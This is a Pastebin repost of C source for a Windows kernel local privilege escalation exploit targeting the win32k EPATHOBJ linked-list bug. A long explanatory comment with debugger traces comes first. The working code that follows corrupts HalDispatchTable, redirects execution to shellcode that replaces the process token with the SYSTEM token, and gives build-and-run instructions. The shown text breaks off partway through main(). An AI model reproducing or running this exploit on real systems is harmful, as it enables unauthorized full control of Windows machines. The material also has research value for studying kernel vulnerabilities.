Scorz-Root

Microsoft Windows Local Ring

Dec 15th, 2017
919
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 35.02 KB | None | 0 0
  1. #ifndef WIN32_NO_STATUS
  2. # define WIN32_NO_STATUS
  3. #endif
  4. #include <stdio.h>
  5. #include <stdarg.h>
  6. #include <stddef.h>
  7. #include <windows.h>
  8. #include <assert.h>
  9. #ifdef WIN32_NO_STATUS
  10. # undef WIN32_NO_STATUS
  11. #endif
  12. #include <ntstatus.h>
  13.  
  14. #pragma comment(lib, "gdi32")
  15. #pragma comment(lib, "kernel32")
  16. #pragma comment(lib, "user32")
  17. #pragma comment(lib, "shell32")
  18. #pragma comment(linker, "/SECTION:.text,ERW")
  19.  
  20. #ifndef PAGE_SIZE
  21. # define PAGE_SIZE 0x1000
  22. #endif
  23.  
  24. #define MAX_POLYPOINTS (8192 * 3)
  25. #define MAX_REGIONS 8192
  26. #define CYCLE_TIMEOUT 10000
  27.  
  28. //
  29. // --------------------------------------------------
  30. // Windows NT/2K/XP/2K3/VISTA/2K8/7/8 EPATHOBJ local ring0 exploit
  31. // ----------------------------------------- taviso () cmpxchg8b com -----
  32. //
  33. // INTRODUCTION
  34. //
  35. // There's a pretty obvious bug in win32k!EPATHOBJ::pprFlattenRec where the
  36. // PATHREC object returned by win32k!EPATHOBJ::newpathrec doesn't initialise the
  37. // next list pointer. The bug is really nice, but exploitation when
  38. // allocations start failing is tricky.
  39. //
  40. // ; BOOL __thiscall EPATHOBJ::newpathrec(EPATHOBJ *this,
  41. // PATHRECORD **pppr,
  42. // ULONG *pcMax,
  43. // ULONG cNeeded)
  44. // .text:BFA122CA mov esi, [ebp+ppr]
  45. // .text:BFA122CD mov eax, [esi+PATHRECORD.pprPrev]
  46. // .text:BFA122D0 push edi
  47. // .text:BFA122D1 mov edi, [ebp+pprNew]
  48. // .text:BFA122D4 mov [edi+PATHRECORD.pprPrev], eax
  49. // .text:BFA122D7 lea eax, [edi+PATHRECORD.count]
  50. // .text:BFA122DA xor edx, edx
  51. // .text:BFA122DC mov [eax], edx
  52. // .text:BFA122DE mov ecx, [esi+PATHRECORD.flags]
  53. // .text:BFA122E1 and ecx, not (PD_BEZIER)
  54. // .text:BFA122E4 mov [edi+PATHRECORD.flags], ecx
  55. // .text:BFA122E7 mov [ebp+pprNewCountPtr], eax
  56. // .text:BFA122EA cmp [edi+PATHRECORD.pprPrev], edx
  57. // .text:BFA122ED jnz short loc_BFA122F7
  58. // .text:BFA122EF mov ecx, [ebx+EPATHOBJ.ppath]
  59. // .text:BFA122F2 mov [ecx+PATHOBJ.pprfirst], edi
  60. //
  61. // It turns out this mostly works because newpathrec() is backed by newpathalloc()
  62. // which uses PALLOCMEM(). PALLOCMEM() will always zero the buffer returned.
  63. //
  64. // ; PVOID __stdcall PALLOCMEM(size_t size, int tag)
  65. // .text:BF9160D7 xor esi, esi
  66. // .text:BF9160DE push esi
  67. // .text:BF9160DF push esi
  68. // .text:BF9160E0 push [ebp+tag]
  69. // .text:BF9160E3 push [ebp+size]
  70. // .text:BF9160E6 call _HeavyAllocPool () 16 ; HeavyAllocPool(x,x,x,x)
  71. // .text:BF9160EB mov esi, eax
  72. // .text:BF9160ED test esi, esi
  73. // .text:BF9160EF jz short loc_BF9160FF
  74. // .text:BF9160F1 push [ebp+size] ; size_t
  75. // .text:BF9160F4 push 0 ; int
  76. // .text:BF9160F6 push esi ; void *
  77. // .text:BF9160F7 call _memset
  78. //
  79. // However, the PATHALLOC allocator includes it's own freelist implementation, and
  80. // if that codepath can satisfy a request the memory isn't zeroed and returned
  81. // directly to the caller. This effectively means that we can add our own objects
  82. // to the PATHRECORD chain.
  83. //
  84. // We can force this behaviour under memory pressure relatively easily, I just
  85. // spam HRGN objects until they start failing. This isn't super reliable, but it's
  86. // good enough for testing.
  87. //
  88. // // I don't use the simpler CreateRectRgn() because it leaks a GDI handle on
  89. // // failure. Seriously, do some damn QA Microsoft, wtf.
  90. // for (Size = 1 << 26; Size; Size >>= 1) {
  91. // while (CreateRoundRectRgn(0, 0, 1, Size, 1, 1))
  92. // ;
  93. // }
  94. //
  95. // Adding user controlled blocks to the freelist is a little trickier, but I've
  96. // found that flattening large lists of bezier curves added with PolyDraw() can
  97. // accomplish this reliably. The code to do this is something along the lines of:
  98. //
  99. // for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {
  100. // Points[PointNum].x = 0x41414141 >> 4;
  101. // Points[PointNum].y = 0x41414141 >> 4;
  102. // PointTypes[PointNum] = PT_BEZIERTO;
  103. // }
  104. //
  105. // for (PointNum = MAX_POLYPOINTS; PointNum; PointNum -= 3) {
  106. // BeginPath(Device);
  107. // PolyDraw(Device, Points, PointTypes, PointNum);
  108. // EndPath(Device);
  109. // FlattenPath(Device);
  110. // FlattenPath(Device);
  111. // EndPath(Device);
  112. // }
  113. //
  114. // We can verify this is working by putting a breakpoint after newpathrec, and
  115. // verifying the buffer is filled with recognisable values when it returns:
  116. //
  117. // kd> u win32k!EPATHOBJ::pprFlattenRec+1E
  118. // win32k!EPATHOBJ::pprFlattenRec+0x1e:
  119. // 95c922b8 e8acfbffff call win32k!EPATHOBJ::newpathrec (95c91e69)
  120. // 95c922bd 83f801 cmp eax,1
  121. // 95c922c0 7407 je win32k!EPATHOBJ::pprFlattenRec+0x2f (95c922c9)
  122. // 95c922c2 33c0 xor eax,eax
  123. // 95c922c4 e944020000 jmp win32k!EPATHOBJ::pprFlattenRec+0x273 (95c9250d)
  124. // 95c922c9 56 push esi
  125. // 95c922ca 8b7508 mov esi,dword ptr [ebp+8]
  126. // 95c922cd 8b4604 mov eax,dword ptr [esi+4]
  127. // kd> ba e 1 win32k!EPATHOBJ::pprFlattenRec+23 "dd poi(ebp-4) L1; gc"
  128. // kd> g
  129. // fe938fac 41414140
  130. // fe938fac 41414140
  131. // fe938fac 41414140
  132. // fe938fac 41414140
  133. // fe938fac 41414140
  134. //
  135. // The breakpoint dumps the first dword of the returned buffer, which matches the
  136. // bezier points set with PolyDraw(). So convincing pprFlattenRec() to move
  137. // EPATHOBJ->records->head->next->next into userspace is no problem, and we can
  138. // easily break the list traversal in bFlattten():
  139. //
  140. // BOOL __thiscall EPATHOBJ::bFlatten(EPATHOBJ *this)
  141. // {
  142. // EPATHOBJ *pathobj; // esi () 1
  143. // PATHOBJ *ppath; // eax () 1
  144. // BOOL result; // eax () 2
  145. // PATHRECORD *ppr; // eax () 3
  146. //
  147. // pathobj = this;
  148. // ppath = this->ppath;
  149. // if ( ppath )
  150. // {
  151. // for ( ppr = ppath->pprfirst; ppr; ppr = ppr->pprnext )
  152. // {
  153. // if ( ppr->flags & PD_BEZIER )
  154. // {
  155. // ppr = EPATHOBJ::pprFlattenRec(pathobj, ppr);
  156. // if ( !ppr )
  157. // goto LABEL_2;
  158. // }
  159. // }
  160. // pathobj->fl &= 0xFFFFFFFE;
  161. // result = 1;
  162. // }
  163. // else
  164. // {
  165. // LABEL_2:
  166. // result = 0;
  167. // }
  168. // return result;
  169. // }
  170. //
  171. // All we have to do is allocate our own PATHRECORD structure, and then spam
  172. // PolyDraw() with POINTFIX structures containing co-ordinates that are actually
  173. // pointers shifted right by 4 (for this reason the structure must be aligned so
  174. // the bits shifted out are all zero).
  175. //
  176. // We can see this in action by putting a breakpoint in bFlatten when ppr has
  177. // moved into userspace:
  178. //
  179. // kd> u win32k!EPATHOBJ::bFlatten
  180. // win32k!EPATHOBJ::bFlatten:
  181. // 95c92517 8bff mov edi,edi
  182. // 95c92519 56 push esi
  183. // 95c9251a 8bf1 mov esi,ecx
  184. // 95c9251c 8b4608 mov eax,dword ptr [esi+8]
  185. // 95c9251f 85c0 test eax,eax
  186. // 95c92521 7504 jne win32k!EPATHOBJ::bFlatten+0x10 (95c92527)
  187. // 95c92523 33c0 xor eax,eax
  188. // 95c92525 5e pop esi
  189. // kd> u
  190. // win32k!EPATHOBJ::bFlatten+0xf:
  191. // 95c92526 c3 ret
  192. // 95c92527 8b4014 mov eax,dword ptr [eax+14h]
  193. // 95c9252a eb14 jmp win32k!EPATHOBJ::bFlatten+0x29 (95c92540)
  194. // 95c9252c f6400810 test byte ptr [eax+8],10h
  195. // 95c92530 740c je win32k!EPATHOBJ::bFlatten+0x27 (95c9253e)
  196. // 95c92532 50 push eax
  197. // 95c92533 8bce mov ecx,esi
  198. // 95c92535 e860fdffff call win32k!EPATHOBJ::pprFlattenRec (95c9229a)
  199. //
  200. // So at 95c9252c eax is ppr->next, and the routine checks for the PD_BEZIERS
  201. // flags (defined in winddi.h). Let's break if it's in userspace:
  202. //
  203. // kd> ba e 1 95c9252c "j (eax < poi(nt!MmUserProbeAddress)) 'gc'; ''"
  204. // kd> g
  205. // 95c9252c f6400810 test byte ptr [eax+8],10h
  206. // kd> r
  207. // eax=41414140 ebx=95c1017e ecx=97330bec edx=00000001 esi=97330bec edi=0701062d
  208. // eip=95c9252c esp=97330be4 ebp=97330c28 iopl=0 nv up ei pl nz na po nc
  209. // cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010202
  210. // win32k!EPATHOBJ::bFlatten+0x15:
  211. // 95c9252c f6400810 test byte ptr [eax+8],10h ds:0023:41414148=??
  212. //
  213. // The question is how to turn that into code execution? It's obviously trivial to
  214. // call prFlattenRec with our userspace PATHRECORD..we can do that by setting
  215. // PD_BEZIER in our userspace PATHRECORD, but the early exit on allocation failure
  216. // poses a problem.
  217. //
  218. // Let me demonstrate calling it with my own PATHRECORD:
  219. //
  220. // // Create our PATHRECORD in userspace we will get added to the EPATHOBJ
  221. // // pathrecord chain.
  222. // PathRecord = VirtualAlloc(NULL,
  223. // sizeof(PATHRECORD),
  224. // MEM_COMMIT | MEM_RESERVE,
  225. // PAGE_EXECUTE_READWRITE);
  226. //
  227. // // Initialise with recognisable debugging values.
  228. // FillMemory(PathRecord, sizeof(PATHRECORD), 0xCC);
  229. //
  230. // PathRecord->next = (PVOID)(0x41414141);
  231. // PathRecord->prev = (PVOID)(0x42424242);
  232. //
  233. // // You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from
  234. // // EPATHOBJ::bFlatten(), do that here.
  235. // PathRecord->flags = PD_BEZIERS;
  236. //
  237. // // Generate a large number of Bezier Curves made up of pointers to our
  238. // // PATHRECORD object.
  239. // for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {
  240. // Points[PointNum].x = (ULONG)(PathRecord) >> 4;
  241. // Points[PointNum].y = (ULONG)(PathRecord) >> 4;
  242. // PointTypes[PointNum] = PT_BEZIERTO;
  243. // }
  244. //
  245. // kd> ba e 1 win32k!EPATHOBJ::pprFlattenRec+28 "j (dwo(ebp+8) < dwo(nt!MmUserProbeAddress)) ''; 'gc'"
  246. // kd> g
  247. // win32k!EPATHOBJ::pprFlattenRec+0x28:
  248. // 95c922c2 33c0 xor eax,eax
  249. // kd> dd ebp+8 L1
  250. // a3633be0 00130000
  251. //
  252. // The ppr object is in userspace! If we peek at it:
  253. //
  254. // kd> dd poi(ebp+8)
  255. // 00130000 41414141 42424242 00000010 cccccccc
  256. // 00130010 00000000 00000000 00000000 00000000
  257. // 00130020 00000000 00000000 00000000 00000000
  258. // 00130030 00000000 00000000 00000000 00000000
  259. // 00130040 00000000 00000000 00000000 00000000
  260. // 00130050 00000000 00000000 00000000 00000000
  261. // 00130060 00000000 00000000 00000000 00000000
  262. // 00130070 00000000 00000000 00000000 00000000
  263. //
  264. // There's the next and prev pointer.
  265. //
  266. // kd> kvn
  267. // # ChildEBP RetAddr Args to Child
  268. // 00 a3633bd8 95c9253a 00130000 002bfea0 95c101ce win32k!EPATHOBJ::pprFlattenRec+0x28 (FPO: [Non-Fpo])
  269. // 01 a3633be4 95c101ce 00000001 00000294 fe763360 win32k!EPATHOBJ::bFlatten+0x23 (FPO: [0,0,4])
  270. // 02 a3633c28 829ab173 0701062d 002bfea8 7721a364 win32k!NtGdiFlattenPath+0x50 (FPO: [Non-Fpo])
  271. // 03 a3633c28 7721a364 0701062d 002bfea8 7721a364 nt!KiFastCallEntry+0x163 (FPO: [0,3] TrapFrame @ a3633c34)
  272. //
  273. // The question is how to get PATHALLOC() to succeed under memory pressure so we
  274. // can make this exploitable? I'm quite proud of this list cycle trick,
  275. // here's how to turn it into an arbitrary write.
  276. //
  277. // First, we create a watchdog thread that will patch the list atomically
  278. // when we're ready. This is needed because we can't exploit the bug while
  279. // HeavyAllocPool is failing, because of the early exit in pprFlattenRec:
  280. //
  281. // .text:BFA122B8 call newpathrec ; EPATHOBJ::newpathrec(_PATHRECORD * *,ulong *,ulong)
  282. // .text:BFA122BD cmp eax, 1 ; Check for failure
  283. // .text:BFA122C0 jz short continue
  284. // .text:BFA122C2 xor eax, eax ; Exit early
  285. // .text:BFA122C4 jmp early_exit
  286. //
  287. // So we create a list node like this:
  288. //
  289. // PathRecord->Next = PathRecord;
  290. // PathRecord->Flags = 0;
  291. //
  292. // Then EPATHOBJ::bFlatten() spins forever doing nothing:
  293. //
  294. // BOOL __thiscall EPATHOBJ::bFlatten(EPATHOBJ *this)
  295. // {
  296. // /* ... */
  297. //
  298. // for ( ppr = ppath->pprfirst; ppr; ppr = ppr->pprnext )
  299. // {
  300. // if ( ppr->flags & PD_BEZIER )
  301. // {
  302. // ppr = EPATHOBJ::pprFlattenRec(pathobj, ppr);
  303. // }
  304. // }
  305. //
  306. // /* ... */
  307. // }
  308. //
  309. // While it's spinning, we clean up in another thread, then patch the thread (we
  310. // can do this, because it's now in userspace) to trigger the exploit. The first
  311. // block of pprFlattenRec does something like this:
  312. //
  313. // if ( pprNew->pprPrev )
  314. // pprNew->pprPrev->pprnext = pprNew;
  315. //
  316. // Let's make that write to 0xCCCCCCCC.
  317. //
  318. // DWORD WINAPI WatchdogThread(LPVOID Parameter)
  319. // {
  320. //
  321. // // This routine waits for a mutex object to timeout, then patches the
  322. // // compromised linked list to point to an exploit. We need to do this.
  323. // LogMessage(L_INFO, "Watchdog thread %u waiting on Mutex () %p",
  324. // GetCurrentThreadId(),
  325. // Mutex);
  326. //
  327. // if (WaitForSingleObject(Mutex, CYCLE_TIMEOUT) == WAIT_TIMEOUT) {
  328. // // It looks like the main thread is stuck in a call to FlattenPath(),
  329. // // because the kernel is spinning in EPATHOBJ::bFlatten(). We can clean
  330. // // up, and then patch the list to trigger our exploit.
  331. // while (NumRegion--)
  332. // DeleteObject(Regions[NumRegion]);
  333. //
  334. // LogMessage(L_ERROR, "InterlockedExchange(%p, %p);", &PathRecord->next, &ExploitRecord);
  335. //
  336. // InterlockedExchangePointer(&PathRecord->next, &ExploitRecord);
  337. //
  338. // } else {
  339. // LogMessage(L_ERROR, "Mutex object did not timeout, list not patched");
  340. // }
  341. //
  342. // return 0;
  343. // }
  344. //
  345. // PathRecord->next = PathRecord;
  346. // PathRecord->prev = (PVOID)(0x42424242);
  347. // PathRecord->flags = 0;
  348. //
  349. // ExploitRecord.next = NULL;
  350. // ExploitRecord.prev = 0xCCCCCCCC;
  351. // ExploitRecord.flags = PD_BEZIERS;
  352. //
  353. // Here's the output on Windows 8:
  354. //
  355. // kd> g
  356. // *******************************************************************************
  357. // * *
  358. // * Bugcheck Analysis *
  359. // * *
  360. // *******************************************************************************
  361. //
  362. // Use !analyze -v to get detailed debugging information.
  363. //
  364. // BugCheck 50, {cccccccc, 1, 8f18972e, 2}
  365. // *** WARNING: Unable to verify checksum for ComplexPath.exe
  366. // *** ERROR: Module load completed but symbols could not be loaded for ComplexPath.exe
  367. // Probably caused by : win32k.sys ( win32k!EPATHOBJ::pprFlattenRec+82 )
  368. //
  369. // Followup: MachineOwner
  370. // ---------
  371. //
  372. // nt!RtlpBreakWithStatusInstruction:
  373. // 810f46f4 cc int 3
  374. // kd> kv
  375. // ChildEBP RetAddr Args to Child
  376. // a03ab494 8111c87d 00000003 c17b60e1 cccccccc nt!RtlpBreakWithStatusInstruction (FPO: [1,0,0])
  377. // a03ab4e4 8111c119 00000003 817d5340 a03ab8e4 nt!KiBugCheckDebugBreak+0x1c (FPO: [Non-Fpo])
  378. // a03ab8b8 810f30ba 00000050 cccccccc 00000001 nt!KeBugCheck2+0x655 (FPO: [6,239,4])
  379. // a03ab8dc 810f2ff1 00000050 cccccccc 00000001 nt!KiBugCheck2+0xc6
  380. // a03ab8fc 811a2816 00000050 cccccccc 00000001 nt!KeBugCheckEx+0x19
  381. // a03ab94c 810896cf 00000001 cccccccc a03aba2c nt! ?? ::FNODOBFM::`string'+0x31868
  382. // a03aba14 8116c4e4 00000001 cccccccc 00000000 nt!MmAccessFault+0x42d (FPO: [4,37,4])
  383. // a03aba14 8f18972e 00000001 cccccccc 00000000 nt!KiTrap0E+0xdc (FPO: [0,0] TrapFrame @ a03aba2c)
  384. // a03abbac 8f103c28 0124eba0 a03abbd8 8f248f79 win32k!EPATHOBJ::pprFlattenRec+0x82 (FPO: [Non-Fpo])
  385. // a03abbb8 8f248f79 1c010779 0016fd04 8f248f18 win32k!EPATHOBJ::bFlatten+0x1f (FPO: [0,1,0])
  386. // a03abc08 8116918c 1c010779 0016fd18 776d7174 win32k!NtGdiFlattenPath+0x61 (FPO: [1,15,4])
  387. // a03abc08 776d7174 1c010779 0016fd18 776d7174 nt!KiFastCallEntry+0x12c (FPO: [0,3] TrapFrame @ a03abc14)
  388. // 0016fcf4 76b1552b 0124147f 1c010779 00000040 ntdll!KiFastSystemCallRet (FPO: [0,0,0])
  389. // 0016fcf8 0124147f 1c010779 00000040 00000000 GDI32!NtGdiFlattenPath+0xa (FPO: [1,0,0])
  390. // WARNING: Stack unwind information not available. Following frames may be wrong.
  391. // 0016fd18 01241ade 00000001 00202b50 00202ec8 ComplexPath+0x147f
  392. // 0016fd60 76ee1866 7f0de000 0016fdb0 77716911 ComplexPath+0x1ade
  393. // 0016fd6c 77716911 7f0de000 bc1d7832 00000000 KERNEL32!BaseThreadInitThunk+0xe (FPO: [Non-Fpo])
  394. // 0016fdb0 777168bd ffffffff 7778560a 00000000 ntdll!__RtlUserThreadStart+0x4a (FPO: [SEH])
  395. // 0016fdc0 00000000 01241b5b 7f0de000 00000000 ntdll!_RtlUserThreadStart+0x1c (FPO: [Non-Fpo])
  396. // kd> .trap a03aba2c
  397. // ErrCode = 00000002
  398. // eax=cccccccc ebx=80206014 ecx=80206008 edx=85ae1224 esi=0124eba0 edi=a03abbd8
  399. // eip=8f18972e esp=a03abaa0 ebp=a03abbac iopl=0 nv up ei ng nz na pe nc
  400. // cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010286
  401. // win32k!EPATHOBJ::pprFlattenRec+0x82:
  402. // 8f18972e 8918 mov dword ptr [eax],ebx ds:0023:cccccccc=????????
  403. // kd> vertarget
  404. // Windows 8 Kernel Version 9200 MP (1 procs) Free x86 compatible
  405. // Product: WinNt, suite: TerminalServer SingleUserTS
  406. // Built by: 9200.16581.x86fre.win8_gdr.130410-1505
  407. // Machine Name:
  408. // Kernel base = 0x81010000 PsLoadedModuleList = 0x811fde48
  409. // Debug session time: Mon May 20 14:17:20.259 2013 (UTC - 7:00)
  410. // System Uptime: 0 days 0:02:30.432
  411. // kd> .bugcheck
  412. // Bugcheck code 00000050
  413. // Arguments cccccccc 00000001 8f18972e 00000002
  414. //
  415. // EXPLOITATION
  416. //
  417. // We're somewhat limited with what we can do, as we don't control what's
  418. // written, it's always a pointer to a PATHRECORD object. We can clobber a
  419. // function pointer, but the problem is making it point somewhere useful.
  420. //
  421. // The solution is to make the Next pointer a valid sequence of instructions,
  422. // which jumps to our second stage payload. We have to do that in just 4 bytes
  423. // (unless you can find a better call site, let me know if you spot one).
  424. //
  425. // Thanks to progmboy for coming up with the solution: you reach back up the
  426. // stack and pull a SystemCall parameter out of the stack. It turns out
  427. // NtQueryIntervalProfile matches this requirement perfectly.
  428. //
  429. // INSTRUCTIONS
  430. //
  431. // C:\> cl ComplexPath.c
  432. // C:\> ComplexPath
  433. //
  434. // You might need to run it several times before we get the allocation we need,
  435. // it won't crash if it doesn't work, so you can keep trying. I'm not sure how
  436. // to improve that.
  437. //
  438. // CREDIT
  439. //
  440. // Tavis Ormandy <taviso () cmpxchg8b com>
  441. // progmboy <programmeboy () gmail com>
  442. //
  443.  
  444. POINT Points[MAX_POLYPOINTS];
  445. BYTE PointTypes[MAX_POLYPOINTS];
  446. HRGN Regions[MAX_REGIONS];
  447. ULONG NumRegion = 0;
  448. HANDLE Mutex;
  449. DWORD Finished = 0;
  450.  
  451. // Log levels.
  452. typedef enum { L_DEBUG, L_INFO, L_WARN, L_ERROR } LEVEL, *PLEVEL;
  453.  
  454. BOOL LogMessage(LEVEL Level, PCHAR Format, ...);
  455.  
  456. // Copied from winddi.h from the DDK
  457. #define PD_BEGINSUBPATH 0x00000001
  458. #define PD_ENDSUBPATH 0x00000002
  459. #define PD_RESETSTYLE 0x00000004
  460. #define PD_CLOSEFIGURE 0x00000008
  461. #define PD_BEZIERS 0x00000010
  462.  
  463. typedef struct _POINTFIX
  464. {
  465. ULONG x;
  466. ULONG y;
  467. } POINTFIX, *PPOINTFIX;
  468.  
  469. // Approximated from reverse engineering.
  470. typedef struct _PATHRECORD {
  471. struct _PATHRECORD *next;
  472. struct _PATHRECORD *prev;
  473. ULONG flags;
  474. ULONG count;
  475. POINTFIX points[4];
  476. } PATHRECORD, *PPATHRECORD;
  477.  
  478. PPATHRECORD PathRecord;
  479. PATHRECORD ExploitRecord;
  480. PPATHRECORD ExploitRecordExit;
  481.  
  482. enum { SystemModuleInformation = 11 };
  483. enum { ProfileTotalIssues = 2 };
  484.  
  485. typedef struct _RTL_PROCESS_MODULE_INFORMATION {
  486. HANDLE Section;
  487. PVOID MappedBase;
  488. PVOID ImageBase;
  489. ULONG ImageSize;
  490. ULONG Flags;
  491. USHORT LoadOrderIndex;
  492. USHORT InitOrderIndex;
  493. USHORT LoadCount;
  494. USHORT OffsetToFileName;
  495. UCHAR FullPathName[256];
  496. } RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION;
  497.  
  498. typedef struct _RTL_PROCESS_MODULES {
  499. ULONG NumberOfModules;
  500. RTL_PROCESS_MODULE_INFORMATION Modules[1];
  501. } RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES;
  502.  
  503. FARPROC NtQuerySystemInformation;
  504. FARPROC NtQueryIntervalProfile;
  505. FARPROC PsReferencePrimaryToken;
  506. FARPROC PsLookupProcessByProcessId;
  507. PULONG HalDispatchTable;
  508. ULONG HalQuerySystemInformation;
  509. PULONG TargetPid;
  510. PVOID *PsInitialSystemProcess;
  511.  
  512. // Search the specified data structure for a member with CurrentValue.
  513. BOOL FindAndReplaceMember(PDWORD Structure,
  514. DWORD CurrentValue,
  515. DWORD NewValue,
  516. DWORD MaxSize)
  517. {
  518. DWORD i, Mask;
  519.  
  520. // Microsoft QWORD aligns object pointers, then uses the lower three
  521. // bits for quick reference counting.
  522. Mask = ~7;
  523.  
  524. // Mask out the reference count.
  525. CurrentValue &= Mask;
  526.  
  527. // Scan the structure for any occurrence of CurrentValue.
  528. for (i = 0; i < MaxSize; i++) {
  529. if ((Structure[i] & Mask) == CurrentValue) {
  530. // And finally, replace it with NewValue.
  531. Structure[i] = NewValue;
  532. return TRUE;
  533. }
  534. }
  535.  
  536. // Member not found.
  537. return FALSE;
  538. }
  539.  
  540.  
  541. // This routine is injected into nt!HalDispatchTable by EPATHOBJ::pprFlattenRec.
  542. ULONG __stdcall ShellCode(DWORD Arg1, DWORD Arg2, DWORD Arg3, DWORD Arg4)
  543. {
  544. PVOID TargetProcess;
  545.  
  546. // Record that the exploit completed.
  547. Finished = 1;
  548.  
  549. // Fix the corrupted HalDispatchTable,
  550. HalDispatchTable[1] = HalQuerySystemInformation;
  551.  
  552. // Find the EPROCESS structure for the process I want to escalate
  553. if (PsLookupProcessByProcessId(TargetPid, &TargetProcess) == STATUS_SUCCESS) {
  554. PACCESS_TOKEN SystemToken;
  555. PACCESS_TOKEN TargetToken;
  556.  
  557. // Find the Token object for my target process, and the SYSTEM process.
  558. TargetToken = (PACCESS_TOKEN) PsReferencePrimaryToken(TargetProcess);
  559. SystemToken = (PACCESS_TOKEN) PsReferencePrimaryToken(*PsInitialSystemProcess);
  560.  
  561. // Find the token in the target process, and replace with the system token.
  562. FindAndReplaceMember((PDWORD) TargetProcess,
  563. (DWORD) TargetToken,
  564. (DWORD) SystemToken,
  565. 0x200);
  566. }
  567.  
  568. return 0;
  569. }
  570.  
  571. DWORD WINAPI WatchdogThread(LPVOID Parameter)
  572. {
  573. // Here we wait for the main thread to get stuck inside FlattenPath().
  574. WaitForSingleObject(Mutex, CYCLE_TIMEOUT);
  575.  
  576. // It looks like we've taken control of the list, and the main thread
  577. // is spinning in EPATHOBJ::bFlatten. We can't continue because
  578. // EPATHOBJ::pprFlattenRec exit's immediately if newpathrec() fails.
  579.  
  580. // So first, we clean up and make sure it can allocate memory.
  581. while (NumRegion) DeleteObject(Regions[--NumRegion]);
  582.  
  583. // Now we switch out the Next pointer for our exploit record. As soon
  584. // as this completes, the main thread will stop spinning and continue
  585. // into EPATHOBJ::pprFlattenRec.
  586. InterlockedExchangePointer(&PathRecord->next,
  587. &ExploitRecord);
  588. return 0;
  589. }
  590.  
  591. // I use this routine to generate a table of acceptable stub addresses. The
  592. // 0x40 offset is the location of the PULONG parameter to
  593. // nt!NtQueryIntervalProfile. Credit to progmboy for coming up with this clever
  594. // trick.
  595. VOID __declspec(naked) HalDispatchRedirect(VOID)
  596. {
  597. __asm inc eax
  598. __asm jmp dword ptr [ebp+0x40]; // 0
  599. __asm inc ecx
  600. __asm jmp dword ptr [ebp+0x40]; // 1
  601. __asm inc edx
  602. __asm jmp dword ptr [ebp+0x40]; // 2
  603. __asm inc ebx
  604. __asm jmp dword ptr [ebp+0x40]; // 3
  605. __asm inc esi
  606. __asm jmp dword ptr [ebp+0x40]; // 4
  607. __asm inc edi
  608. __asm jmp dword ptr [ebp+0x40]; // 5
  609. __asm dec eax
  610. __asm jmp dword ptr [ebp+0x40]; // 6
  611. __asm dec ecx
  612. __asm jmp dword ptr [ebp+0x40]; // 7
  613. __asm dec edx
  614. __asm jmp dword ptr [ebp+0x40]; // 8
  615. __asm dec ebx
  616. __asm jmp dword ptr [ebp+0x40]; // 9
  617. __asm dec esi
  618. __asm jmp dword ptr [ebp+0x40]; // 10
  619. __asm dec edi
  620. __asm jmp dword ptr [ebp+0x40]; // 11
  621.  
  622. // Mark end of table.
  623. __asm {
  624. _emit 0
  625. _emit 0
  626. _emit 0
  627. _emit 0
  628. }
  629. }
  630.  
  631. int main(int argc, char **argv)
  632. {
  633. HANDLE Thread;
  634. HDC Device;
  635. ULONG Size;
  636. ULONG PointNum;
  637. HMODULE KernelHandle;
  638. PULONG DispatchRedirect;
  639. PULONG Interval;
  640. ULONG SavedInterval;
  641. RTL_PROCESS_MODULES ModuleInfo;
  642.  
  643. LogMessage(L_INFO, "\r--------------------------------------------------\n"
  644. "\rWindows NT/2K/XP/2K3/VISTA/2K8/7/8 EPATHOBJ local ring0 exploit\n"
  645. "\r------------------- taviso () cmpxchg8b com, programmeboy () gmail com ---\n"
  646. "\n");
  647.  
  648. NtQueryIntervalProfile = GetProcAddress(GetModuleHandle("ntdll"), "NtQueryIntervalProfile");
  649. NtQuerySystemInformation = GetProcAddress(GetModuleHandle("ntdll"), "NtQuerySystemInformation");
  650. Mutex = CreateMutex(NULL, FALSE, NULL);
  651. DispatchRedirect = (PVOID) HalDispatchRedirect;
  652. Interval = (PULONG) ShellCode;
  653. SavedInterval = Interval[0];
  654. TargetPid = GetCurrentProcessId();
  655.  
  656. LogMessage(L_INFO, "NtQueryIntervalProfile () %p", NtQueryIntervalProfile);
  657. LogMessage(L_INFO, "NtQuerySystemInformation () %p", NtQuerySystemInformation);
  658.  
  659. // Lookup the address of system modules.
  660. NtQuerySystemInformation(SystemModuleInformation,
  661. &ModuleInfo,
  662. sizeof ModuleInfo,
  663. NULL);
  664.  
  665. LogMessage(L_DEBUG, "NtQuerySystemInformation() => %s () %p",
  666. ModuleInfo.Modules[0].FullPathName,
  667. ModuleInfo.Modules[0].ImageBase);
  668.  
  669. // Lookup some system routines we require.
  670. KernelHandle = LoadLibrary(ModuleInfo.Modules[0].FullPathName + ModuleInfo.Modules[0].OffsetToFileName);
  671. HalDispatchTable = (ULONG) GetProcAddress(KernelHandle, "HalDispatchTable") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;
  672. PsInitialSystemProcess = (ULONG) GetProcAddress(KernelHandle, "PsInitialSystemProcess") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;
  673. PsReferencePrimaryToken = (ULONG) GetProcAddress(KernelHandle, "PsReferencePrimaryToken") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;
  674. PsLookupProcessByProcessId = (ULONG) GetProcAddress(KernelHandle, "PsLookupProcessByProcessId") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;
  675.  
  676. // Search for a ret instruction to install in the damaged HalDispatchTable.
  677. HalQuerySystemInformation = (ULONG) memchr(KernelHandle, 0xC3, ModuleInfo.Modules[0].ImageSize)
  678. - (ULONG) KernelHandle
  679. + (ULONG) ModuleInfo.Modules[0].ImageBase;
  680.  
  681. LogMessage(L_INFO, "Discovered a ret instruction at %p", HalQuerySystemInformation);
  682.  
  683. // Create our PATHRECORD in user space we will get added to the EPATHOBJ
  684. // pathrecord chain.
  685. PathRecord = VirtualAlloc(NULL,
  686. sizeof *PathRecord,
  687. MEM_COMMIT | MEM_RESERVE,
